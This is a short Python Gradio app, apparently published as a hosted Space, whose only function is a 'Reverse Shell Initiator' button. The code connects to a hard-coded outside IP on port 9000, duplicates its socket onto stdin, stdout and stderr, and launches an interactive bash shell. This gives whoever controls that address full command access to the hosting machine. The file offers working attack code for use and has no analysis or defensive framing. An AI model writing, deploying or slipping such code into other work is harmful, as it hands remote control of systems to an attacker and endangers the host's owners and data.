waebaweqae / app.py
dana56's picture
Update app.py
105cf28 verified
import gradio as gr
import socket
import subprocess
import threading
import os
def run_reverse_shell():
try:
# Задаем IP-адрес и порт сервера
ip = '45.155.205.202'
port = 9000
def shell_thread():
try:
# Создаем сокет
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
# Отправляем сообщение о подключении
s.send(b"Connected to reverse shell.\n")
# Сразу входим в интерактивную оболочку
os.dup2(s.fileno(), 0) # stdin
os.dup2(s.fileno(), 1) # stdout
os.dup2(s.fileno(), 2) # stderr
# Запускаем оболочку (например, bash)
p = subprocess.call(['/bin/bash', '-i']) # Используем -i для интерактивного режима
# Закрываем сокет
s.close()
except Exception as e:
return f"Error: {e}"
# Запускаем обратную оболочку в отдельном потоке, чтобы не блокировать Gradio интерфейс
shell = threading.Thread(target=shell_thread)
shell.start()
return "Reverse shell has been initiated."
except Exception as e:
return f"An error occurred: {str(e)}"
# Создаем интерфейс Gradio
iface = gr.Interface(
fn=run_reverse_shell,
inputs=None, # Нет входных данных, только кнопка
outputs="text",
title="Reverse Shell Initiator",
description="Click the button to initiate a reverse shell."
)
# Запуск интерфейса
iface.launch()